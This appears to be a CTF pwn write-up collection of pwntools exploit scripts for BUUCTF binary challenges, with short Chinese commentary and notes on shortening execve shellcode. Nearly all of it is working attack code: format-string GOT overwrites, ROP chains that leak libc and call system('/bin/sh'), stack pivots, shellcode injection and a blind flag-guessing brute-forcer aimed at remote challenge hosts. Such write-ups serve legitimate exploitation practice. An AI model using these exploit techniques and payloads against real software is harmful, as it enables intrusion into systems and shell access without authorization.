1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_2019_sw_1" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x3A80C , 0x3A80E , 0x3A812 , 0x3A819 , 0x5F065 , 0x5F066 ] elif "2.27" in libc.path: one_gadget = [ 0x3CBEA , 0x3CBEC , 0x3CBF0 , 0x3CBF7 , 0x6729F , 0x672A0 , 0x13573E , 0x13573F , ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 26660 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x80485A8 c " "" gdb.attach(io, gdbscript=gdbscript) fini_arr = 0x804979C printf_got = elf.got["printf" ] # main_addr=0x804 =>2052 8534 # system_addr=0x804 =>2052 83 d0=>33744 payload = f"%2052c%17$hn%19$hn%{33744-2052}c%16$hn%{0x8534-0x83d0}c%18$hn" .encode() payload = payload.ljust(0x30 , b"a" ) payload += p32(printf_got) + p32(printf_got + 2 ) + p32(fini_arr) + p32(fini_arr + 2 ) sla(b"your name?\n" , payload) sla(b"your name?\n" , "/bin/sh\0" ) it()
ROP asis_finals_2019_rop13 1 2 3 4 5 6 7 8 9 10 11 12 mov_rsi_rsp=0x000000000040042a# mov rsi, qword ptr [rsp + 0x10] ; ret pop_rdx_rbp_ret=0x000000000040047e mov_edi_rsi_ret=0x0000000000400426#mov edi, dword ptr [rsp + 8] ; mov rsi, qword ptr [rsp + 0x10] ; ret leave_ret=0x4004B6 bss=0x601300 s(b"\x00"*0x48+p64(mov_rsi_rsp)+p64(pop_rdx_rbp_ret)+p64(0x8)+p64(elf.got["write"])+p64(elf.plt["write"])+p64(mov_edi_rsi_ret)+p64(pop_rdx_rbp_ret)+p64(0x0)+p64(bss)+p64(pop_rdx_rbp_ret)+p64(0x60)+p64(bss-8)+p64(elf.plt["read"])+p64(leave_ret)) libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-libc.sym["write"] pop_rdi_ret=0x000000000002155f+libc_base system_addr=libc_base+libc.sym["system"] bin_sh=libc_base+next(libc.search(b"/bin/sh\0")) s(p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)) it()
microwave_ins_2016 还可以题目 利用print_chk泄露libc和canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def login(username,password): sla(b"MicroWave]: ",b"1") sla(b"username: ",username) sla(b"password: ",password) def shuru(content): sla(b"MicroWave]: ",b"2") sa(b"#> ",content) login(b"%p"*(6),b"n07_7h3_fl46") ru(b"Checking ") content=rld().split(b"0x") libc_base=int(b"0x"+content[2],16)-0xf72c0 canary=int(b"0x"+content[-1],16) pop_rdi_ret=libc_base+0x0000000000021102 bin_sh_addr=libc_base+next(libc.search(b"/bin/sh\0")) system_addr=libc_base+libc.sym["system"] shuru(b"a"*0x408+p64(canary)+b"a"*0x8+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)) it()
seccon2022-koncha 1 2 3 4 5 6 7 8 9 10 11 12 sla(b"Hello! What is your name?\n",b"") ru(b"Nice to meet you, ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f43ea148000-0x7f43ea3392e8 pop_rdi_ret=libc_base+0x0000000000023b6a bin_sh=libc_base+next(libc.search(b"/bin/sh\0")) system=libc_base+libc.sym["system"] one_gadget=libc_base+0xe3b01 ret=libc_base+0x0000000000022679 #sla(b"Which country do you live in?\n",b"a"*0x58+p64(one_gadget)) sla(b"Which country do you live in?\n",b"a"*0x58+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)) it()
wdb_2018_final_pwn3 https://buuoj.cn/challenges#wdb_2018_final_pwn3 栈溢出,修改fd,然后控制target
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from pwn import *it = lambda : io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True ) r = lambda x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn3" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len (sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =27557 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug (): global io gdbscript = """ b *0x400E9F c """ gdb.attach(io, gdbscript=gdbscript) def add (size,data ): sla(b"Exit\n" , b"2" ) sla(b"3. Large\n" ,str (size)) sla(b"Enter your item`s name: \n" ,data) def free (index ): sla(b"Exit\n" , b"4" ) sla(b" like to remove?\n" ,str (index)) def add_to_list (size,num ): sla(b"Exit\n" , b"3" ) sla(b"3. Large\n" ,str (size)) sla(b"would you like to add?\n" ,str (num)) def show (): sla(b"Exit\n" , b"1" ) def edit (index,content ): sla(b"Exit\n" , b"5" ) sla(b"you like to edit?\n" ,str (index)) sla(b"item`s new name: \n" ,content) sla(b"input: " ,b"a" ) payload=b"a" *0x78 +p64(0 ) sla(b"guess the random value: \n" ,payload) sla(b"target: " ,b"a\x00" ) sla(b"input: " ,b"a" ) pop_rdi_ret=0x00000000004010a3 payload=b"a\x00" .ljust(0x78 ,b"a" )+p64(0 )+b"a" *8 +p64(pop_rdi_ret)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(0x400880 ) sla(b"guess the random value: \n" ,payload) ru(b"it?\n" ) libc_base=u64(rld().ljust(8 ,b"\0" ))-libc.sym["puts" ] sla(b"input: " ,b"a" ) payload=b"a" *0x78 +p64(0 ) sla(b"guess the random value: \n" ,payload) sla(b"target: " ,b"a\x00" ) sla(b"input: " ,b"a" ) pop_rdi_ret=0x00000000004010a3 payload=b"a\x00" .ljust(0x78 ,b"a" )+p64(0 )+b"a" *8 +p64(pop_rdi_ret)+p64(libc_base+next (libc.search(b"/bin/sh\0" )))+p64(libc_base+libc.sym["system" ]) sla(b"guess the random value: \n" ,payload) it()
pwnable_silverbullet BUUCTF在线评测 (buuoj.cn)
题目还算比较有意思,利用strcat\x00修改长度达到溢出的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 sla(b"Your choice :" , b"1" ) sa(b"description of bullet :" , b"b" * 0x2F ) sla(b"Your choice :" , b"2" ) sa(b"another description of bullet :" , b"a" ) sla(b"Your choice :" , b"2" ) sa( b"another description of bullet :" , b"\xff" * 7 + p32(elf.plt["puts" ]) + p32(elf.sym["main" ]) + p32(elf.got["puts" ]), ) sla(b"Your choice :" , b"3" ) ru(b"win !!\n" ) libc_base = u32(rld()) - libc.sym["puts" ] sla(b"Your choice :" , b"1" ) sa(b"description of bullet :" , b"a" * 0x2F ) sla(b"Your choice :" , b"2" ) sa(b"another description of bullet :" , b"a" ) sla(b"Your choice :" , b"2" ) sa( b"another description of bullet :" , b"\xff" * 7 + p32(libc_base + libc.sym["system" ]) + b"a" * 4 + p32(libc_base + next(libc.search(b"/bin/sh\0" ))), ) sla(b"Your choice :" , b"3" ) it()
xm_2019_awd_pwn1 BUUCTF在线评测 (buuoj.cn)
题目还不错,跟之前32位的有一点点不一样,64位的write和read低3位不一样,所以需要爆破
这种题目一定要注意,利用 plt+6复原got表,因为我们先把read改成了write,回到main之前要恢复过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pop_rdi_ret = 0x00000000004006A3 pop_rsi_r15_ret = 0x00000000004006A1 while True: io = remote("node4.buuoj.cn" , 26330 ) s( b"a" * 0x28 + p64(pop_rsi_r15_ret) + p64(elf.got["read" ])#这里只用修改rsi为read got地址 + p64(0 ) + p64(elf.plt["read" ])#调用read函数,修改readgot表为write + p64(elf.plt["read" ])#调用修改后的read,从readgot表开始打印泄露libc + p64(pop_rsi_r15_ret) + p64(elf.got["setbuf" ]) + p64(0 ) + p64(elf.plt["read" ] + 6 )#这里单纯是想恢复read的got值,就委屈一下setbuf + p64(elf.sym["vuln" ]) ) sleep(0.5 ) s("\x40\x41" )#修改readgot地址 try: libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["write" ] break except: io.close() s(p64(elf.plt["setbuf" ] + 6 ))#恢复read用的setbuf,一定也要改成+6 s( b"a" * 0x28 + p64(pop_rdi_ret) + p64(libc_base + next(libc.search(b"/bin/sh\0" ))) + p64(0x000000000040048E )#这里是ret地址,用来平衡64 位stack 检查 + p64(libc_base + libc.sym["system" ]) ) sleep(0.5 ) sl("cat flag" ) rl()
roarctf_2019_easyrop BUUCTF在线评测 (buuoj.cn)
这个题目其实比较简单,但是要注意就是我们栈溢出之后就会把保存长度给修改了,所以我们再溢出到这里的时候要把长度直接改到对应的ret adrr即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pop_rdi_ret = 0x401B93 main_addr = 0x4019F3 payload = b"a" * 0x418 + p8(0x28 ) # 如果不这样的话相当于我们把i给修改了,就会飞掉,这个地方刚好把偏移改到ret_addr payload += ( p64(pop_rdi_ret) + p64(elf.got["puts" ]) + p64(elf.plt["puts" ]) + p64(main_addr) ) sla(b">> " , payload) ru(b"\x00" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] mprotect_addr = libc_base + libc.sym["mprotect" ] pop_rsi_ret = 0x23E6A + libc_base pop_rdx_ret = 0x1B96 + libc_base start_addr = 0x680200 payload = b"a" * 0x418 + p8(0x28 ) payload += ( p64(pop_rdi_ret) + p64(start_addr & 0xFFF000 ) + p64(pop_rsi_ret) + p64(0x1000 ) + p64(pop_rdx_ret) + p64(7 ) + p64(mprotect_addr) + p64(main_addr) ) sla(b">> " , payload) read_addr = libc_base + libc.sym["read" ] payload = b"a" * 0x418 + p8(0x28 ) payload += ( p64(pop_rsi_ret) + p64(start_addr) + p64(pop_rdi_ret) + p64(0x0 ) + p64(pop_rdx_ret) + p64(0x100 ) + p64(read_addr) + p64(start_addr) ) # debug() sla(b">> " , payload) payload = f"" " xor rsi,rsi; xor rdx,rdx; push rdx; mov rdi,{convert_str_asmencode(" ./flag")}; push rdi; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov rsi,rsp; mov rdx,0x40; mov al,0; syscall; mov rdi,1; mov al,1; syscall; " "" sa(b"\x00" , asm (payload)) it()
ciscn_2019_ne_3 BUUCTF在线评测 (buuoj.cn)
一道挺麻烦的题目,一定需要把栈迁移的很远,不然有一些系统调用就会挂掉,同时有时候read一定也要覆盖掉返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 sa(b":" , b"a" ) ret_call_addr = 0x80486D0 #返回系统里面的read的push 0 read_start_addr = 0x0804A060 #这个刚好可以修改掉返回地址 sa( b"length of password: " , b"-1\n\0" + p32(ret_call_addr) + p32(read_start_addr) + p32(0x100 ), ) sla(b"):" , b"a" * 0x48 + p32(0x0804A068 ))#因为esp是通过ecx来迁移的,所以只用修改ecx bss_start_av = 0x804A300 #很远的一个无用的地方,如果太近了system会挂掉 pop_ebp_ret = 0x0804881B leave_ret = 0x08048575 sa( b"contiune\n" , p32(pop_ebp_ret) + p32(bss_start_av) + p32(elf.plt["read" ]) + p32(leave_ret) + p32(0 ) + p32(bss_start_av + 4 ) + p32(0x100 ), ) s( p32(elf.plt["puts" ]) + p32(pop_ebp_ret) + p32(elf.got["puts" ]) + p32(elf.plt["read" ]) + p32(0 ) + p32(0 ) + p32(bss_start_av + 0x14 ) + p32(0x100 ) ) libc_base = u32(ru(b"\xf7" )) - libc.sym["puts" ] system_addr = libc.sym["system" ] + libc_base bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) sa(b"\xf7" , p32(system_addr) + p32(system_addr) + p32(bin_sh_addr)) it()
xp0intctf_2018_gameserver BUUCTF在线评测 (buuoj.cn)
智障题目,snprintf返回值是实际需要的大小,而不是真正保存的大小,所以存在栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 sla(b"me you name?\n" , b"a" * 254 ) sla(b"occupation?\n" , b"a" * 254 ) sla(b"by yourself?[Y/N]" , b"Y" ) payload = ( b"a" * 0x114 + b"b" + p32(elf.plt["puts" ]) + p32(0x8048637 ) + p32(elf.got["puts" ]) ) s(payload) ru(b"b" ) rl() libc_base = u32(r(4 )) - libc.sym["puts" ] sla(b"me you name?\n" , b"a" * 254 ) sla(b"occupation?\n" , b"a" * 254 ) sla(b"by yourself?[Y/N]" , b"Y" ) payload = ( b"a" * 0x114 + b"b" + p32(libc_base + libc.sym["system" ]) + p32(0 ) + p32(libc_base + next(libc.search(b"/bin/sh\0" ))) ) s(payload) it()
inndy_very_overflow BUUCTF在线评测
一个简单的输出结构题目,伪造指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def add (content: bytes) : sla (b"action: " , b"1" ) sla (b"Input your note: " , content) def edit (index: int , content: bytes) : sla (b"action: " , b"2" ) sla (b"Which note to edit: " , str(index).encode()) sla (b"Your new data: " , content) def show (index: int ) : sla (b"action: " , b"3" ) sla (b"Which note to show: " , str(index).encode()) def dump (index: int ) : sla (b"action: " , b"4" ) add (b"a" ) add (b"b" ) add (b"c" ) edit (0 , b"a" * 3 + p32(elf.got["puts" ])) show (2 ) ru (b"Next note: " ) libc_base = int (rld(), 16 ) - libc.sym["puts" ] system_addr = libc_base + libc.sym["system" ] edit(0 , b"a" * 3 + p32(elf.got["atoi" ] - 4 )) edit(2 , p32(system_addr)) sla(b"action: " , b"sh\0" ) it()
inndy_homework BUUCTF在线评测
数组越界
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def exit () : sla (b"> " , b"0" ) def edit (index: int , value: int ) : sla (b"> " , b"1" ) sla (b"edit: " , str(index).encode()) sla (b"many? " , str(value).encode()) def show (index: int ) : sla (b"> " , b"2" ) sla (b"show: " , str(index).encode()) sla (b"name? " , b"a" ) show (18 ) ru (b"is " ) libc_base = int (rld()) + (1 << 32 ) - 247 - libc.sym["__libc_start_main" ] system_addr = libc_base + libc.sym["system" ] - (1 << 32 ) bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) - (1 << 32 ) edit(14 , system_addr) edit(16 , bin_sh_addr) exit ()it()
inndy_stack 模拟了一个stack,但是我们可以利用pop,push来覆盖掉index使它指向ret add,然后泄露libc进而覆盖返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pop() pop() push(0 ) push(93 ) pop() ru(b"Pop -> " ) libc_base = int (rld()) + (1 << 32 ) - libc.sym["__libc_start_main" ] - 0xF7 system_addr = libc_base + libc.sym["system" ] - (1 << 32 ) bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) - (1 << 32 ) push(system_addr) push(0 ) push(bin_sh_addr) sla(b"Cmd >>\n" , b"x" ) it()
cscctf_2019_qual_babystack BUUCTF在线评测
挺不错的题目,在有限的plt 泄露libc getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pop_three_ret = 0x08048519 payload = ( b"a" * 0x14 + p32(elf.plt["read" ]) + p32(pop_three_ret) + p32(0 ) + p32(elf.got["read" ]) + p32(1 ) + p32(elf.plt["read" ]) + p32(pop_three_ret) + p32(1 ) + p32(elf.got["read" ]) + p32(4 ) + p32(elf.plt["read" ] + 6 ) + p32(pop_three_ret) + p32(0 ) + p32(0x804A020 ) + p32(1 ) + p32(elf.sym["vuln" ]) ) s(payload) sleep(1 ) s(b"\xf0" ) libc_base = u32(ru(b"\xf7" )) - libc.sym["write" ] s(b"\x00" ) sleep(1 ) system_addr = libc_base + libc.sym["system" ] bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) payload = b"a" * 0x14 + p32(system_addr) + p32(0 ) + p32(bin_sh_addr) s(payload) it()
强网杯2019 拟态 STKOF BUUCTF在线评测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn" elf = ELF(elf_path) context(arch=elf.arch, os="linux" , log_level="debug" ) if "debug" in elf_path: libc_path = elf.linker.decode().replace("ld" , "./libc" ) libc = ELF(libc_path) if "2.23" in libc_path: one_gadget = [0x3A80C , 0x3A80E , 0x3A812 , 0x3A819 , 0x5F065 , 0x5F066 ] elif "2.27" in libc_path: one_gadget = [ 0x3CBEA , 0x3CBEC , 0x3CBF0 , 0x3CBF7 , 0x6729F , 0x672A0 , 0x13573E , 0x13573F , ] else : one_gadget = [] else : libc_path = "" if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 26525 io = remote(remote_ip, remote_port) else : if libc_path != "" : io = process(elf_path, env={"LD_PRELOAD" : libc_path}) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x400B32 c " "" gdb.attach(io, gdbscript=gdbscript) # 32b it overfollw 110 # 64b it overfollw 118 # debug() pop_rsi_ret = 0x0000000000405895 pop_rdi_ret = 0x00000000004005F6 pop_rdx_ret = 0x000000000043B9D5 pop_rax_ret = 0x000000000043B97C syscall_addr = 0x00000000004011DC bss_addr = 0x6A3368 read_64_addr = 0x43B9C0 pop_eax_ret = 0x080A8AF6 pop_edx_ecx_ebx_ret = 0x0806E9F1 int80_addr = 0x080495A3 add_esp_88_ret = 0x0806F5AD read_32_addr = 0x0806C8E0 bss_32_addr = 0x80DA354 payload = ( b"a" * 0x110 + p32(add_esp_88_ret) + p32(0 ) + p64(pop_rdi_ret) + p64(0 ) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10 ) + p64(read_64_addr) + p64(pop_rdi_ret) + p64(bss_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(pop_rdx_ret) + p64(0 ) + p64(pop_rax_ret) + p64(59 ) + p64(syscall_addr) ) payload = ( payload.ljust(0x110 + 0x80 , b"a" ) + p32(read_32_addr) + p32(pop_edx_ecx_ebx_ret) + p32(0 ) + p32(bss_32_addr) + p32(0x10 ) + p32(pop_edx_ecx_ebx_ret) + p32(0 ) + p32(0 ) + p32(bss_32_addr) + p32(pop_eax_ret) + p32(0xB ) + p32(int80_addr) ) sla(b"pwn it?\n" , payload) sl(b"/bin/sh\0" ) it()
关键就是利用add esp抬升栈
ret2shellcode 铁人三项(第五赛区)_2018_seven BUUCTF在线评测 (buuoj.cn)
题目还行·,就是要利用条件,有的时候rsp会在rip上面,那么就可以写道rsp里面覆盖返回的指令
push rsp
pop rsi
这里好像write不能特别大的值
所以就只能mov dx,si
syscall
然后算好偏移加上shellcode
1 2 3 4 5 6 7 8 9 10 shellcode = "" " push rsp; pop rsi; mov dx,si; syscall " "" sa(b"shellcode:" , asm (shellcode)) sleep(0.5 ) s(asm ("nop" ) * 0xB37 + asm (shellcraft.sh())) it()
pwnable_echo1 BUUCTF在线评测 (buuoj.cn)
傻逼题,就是需要往bss里面写入一个jmp rsp的指令,然后就好了
1 2 3 4 sla(b"? : " , asm ("jmp rsp" )) sla(b"> " , b"1" ) sl(b"a" * 0x28 + p64(0x6020A0 ) + asm (shellcraft.sh())) it()
xman_2019_nooocall BUUCTF在线评测
这道题本来很简单,但由于禁用了所有的syscall,但是我们可以获取到flag的位置,就利用盲注来进行打
如果成功了就会陷入循环
挺有新意的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 context.arch = "amd64" flagstr = [] for x in range(0 , 10 ): flagstr.append(str(x)) for x in range(ord("a" ), ord("z" ) + 1 ): flagstr.append(chr(x)) flagstr.append("{" ) flagstr.append("-" ) flagstr.append("}" ) remote_ip = "node4.buuoj.cn" remote_port = 25224 flag = "flag{cb3e8ca2-759a-4865-b75e-8b9a276045b" for i in range(40 , 50 ): for s in flagstr: io = remote(remote_ip, remote_port) payload = asm (f"mov rax,[rsp+0x18];mov al,byte ptr[rax+{i}];cmp al,{ord(s)};" ) payload += b"\x74" + p8(-len(payload) - 2 + (1 << 8 )) io.sendafter(b"Shellcode >>" , payload) if b"the monitored command dumped core\n" in io.recvline(timeout=1 ): io.close() continue else : io.close() flag += s print(flag) break
tiny_backdoor_v1_hackover_2016 BUUCTF在线评测
利用上下文寄存器条件调用sys_read然后插入shellcode
1 2 3 4 5 6 7 8 9 bytess = b"\xb3\x91\x7f\xdd\x62\x81\x11\x6a\x90" shellcode = asm ("dec eax;xchg rdi,rdx;syscall;" ) output = b"" for i in range(len(shellcode)): output += p8(shellcode[i] ^ bytess[i]) s(output) sleep(1 ) s(b"a" * 0x10 + asm (shellcraft.sh())) it()
inndy_onepunch BUUCTF在线评测
遇见每个题目要分析具体的情况,这里可以直接修改 text,我们先改成一个死循环,然后再慢慢写shellcode
1 2 3 4 5 6 7 8 9 10 def writeData (addr, data) : sla (b"Where What?" , (hex(addr) + " " + str(data)).encode()) writeData (0x400768 , u8(b"\xb4" )) shellcode = asm (shellcraft.sh()) start_addr = 0x400769 for i in shellcode: writeData(start_addr, i) start_addr += 1 writeData(0x400767 , u8(b"\x74" )) it()
inndy_leave_msg BUUCTF在线评测
不错的题目
1 2 3 sa(b"message:\n" , asm ("add esp,0x35;jmp esp" ) + b"\x00\xc3" + asm (shellcraft.sh())) sa(b"message slot?\n" , b" -16" ) it()
csaw2018_shell_code BUUCTF在线评测
shellcode跳转,合理利用寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 bin_sh = 0x68732F2F6E69622F shellcode = "" " mov rax,0x68732F2F6E69622F; xor rsi,rsi; jmp rsp; " "" shellcode3 = "" " push rsi; push rax; mov rdi,rsp; push rsi; pop rdx; push 0x3b; pop rax; syscall; " "" sla(b"node 1: \n" , asm (shellcode)) sla(b"node 2: \n" , b"" ) ru(b"node.next: " ) stack_addr = int (rld(), 16 ) sla(b"initials?\n" , b"3" * (3 + 8 ) + p64(stack_addr + 0x28 ) + asm (shellcode3)) it()
rctf_2019_shellcoder BUUCTF在线评测
这个题目很不错,需要好好的分析题目意思,就是有点不太好理解,需要结合具体的上下文寄存器环境来写哈哈哈,xchg是个很不错的指令,用来交换值,当然也可以利用push pop,但会多一个bit
1 2 3 4 5 6 7 8 9 shellcode = "" " xchg rsi,rdi; mov dl,0xff; syscall; " "" # debug() sa(b"hellcoder:" , asm (shellcode)) s(b"a" * 7 + asm (shellcraft.sh())) it()
xp0intctf_2018_bof BUUCTF在线评测
这个题目主要就是研究怎么缩短shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 bin_sh = convert_str_asmencode("/bin/sh\0" ) shellcode = f"" " xor esi,esi; mov rdx,{bin_sh} push rdx; push rsi; pop rdx; push rsp; pop rdi; push 0x3b pop rax; syscall " "" bss_addr = 0x404070 leave_ret = 0x00000000004011B4 pop_rdi_ret = 0x0000000000401293 sa( b"name: \n" , asm (shellcode), ) sa( b"simple one.(*_*)\n" , b"a" * 0x28 + p64(bss_addr), ) it()
缩短shellcode 这里的例子都以amd64为主 shellcode可以缩小的空间都在赋值上面,像syscall这些就没办法,包括我们需要把/bin/sh写进栈里面,一定会涉及一个mov rax,0x…. push 一下 那哪里可以节省呢?
syscall里面rax赋值 由于syscall的时候rax要变成一个只有al有值的数字,所以一般需要经过xor rax,rax mov al,0x3b 但这样需要xor rax,rax (3)+mov al,0x3b(2)==5个字节 但还有一个更快的方法 push 0x3b(2) pop rax(1) pop寄存器,push寄存器的长度是最短的,所以我们可以充分利用pop,push来节省长度 来查看效果
xor xor是很常见的指令,因为我们经常会涉及清0,比如说execve的syscall,rsi,rdx必须是0 xor r开头的都是3个长度,有时候我们可以调试通过上下文观察,如果可以的话使用xor e开头的就有e开头,xor指令最短也就是2个长度 或者我们可以先把一个寄存器清零以后,然后再利用push pop指令,也是比较快的
mov rdi,rsp 可以利用哦个pop rsp push rdi来缩短
execve(/bin/sh)最短的shellcode 这里其实可以根据上下文环境,找到比如说rsi,rdx两个寄存器,哪个可以通过xor e开头的直接清零就放到第一句,不然这里就用xor rsi,rsi xor rsi rsi #3
1 2 3 4 5 6 7 8 9 debug() shellcode = asm( "xor rsi,rsi;push 0x6873;push rsp;pop rdi;push rsi;pop rdx;push 0x3b;pop rax;syscall" ) stack_addr = int(r(14), 16) payload = b"a" * 0x18 + p64(stack_addr + 0x20) + shellcode sl(payload) it()
不知道为什么挂了
starctf_2019_babyshell BUUCTF在线评测
这个题比较简单,但就是要用\x00绕过
fuzz脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from itertools import * import re for i in range (1 , 3 ) : for j in product ([p8(k) for k in range(256 )], repeat=i) : payload = b"\x00" + b"" .join(j) res = disasm(payload) if ( res != " ..." and not re.search(r"\[\w*?\]" , res) and ".byte" not in res ): print(res) exit (0 )
exp.py
1 2 sl(b"\x00\xc0" + asm (shellcraft.sh())) it()
lctf2016_pwn200 BUUCTF在线评测
找到溢出点,覆盖为返回地址,然后修改返回地址为shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn200_debug" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) if "debug" in elf_path: libc_path = elf.linker.decode().replace("ld" , "./libc" ) libc = ELF(libc_path) if "2.23" in libc_path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc_path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] else : libc_path = "" if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 29413 io = remote(remote_ip, remote_port) else : if libc_path != "" : io = process(elf_path, env={"LD_PRELOAD" : libc_path}) else : io = process(elf_path) shellcode = asm ( "xor rdx,rdx;xor rsi,rsi;push rsi;mov rax, 0x68732f2f6e69622f;push rax;mov rdi,rsp;xor rax,rax;mov al,59;syscall" ) sa(b"u?\n" , shellcode.ljust(47 , b"a" ) + b"c" ) ru(b"c" ) shellcode_addr = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FFF450E3CC0 + 0x7FFF450E3C70 ret_addr = shellcode_addr - 0x7FFEEA8F0420 + 0x7FFEEA8F03F8 sa(b"id ~~?\n" , b"0000" ) free_got = elf.got["free" ] sla(b"money~\n" , p64(shellcode_addr) + p64(0 ) * 6 + p64(ret_addr)) sla(b"choice : " , b"3" ) it()
格式化字符串 bss上格式化字符串 ciscn_2019_nw_6 BUUCTF在线评测 (buuoj.cn)
泄露libc,泄露栈地址,然后就可以利用调用链之间的ebp做文章
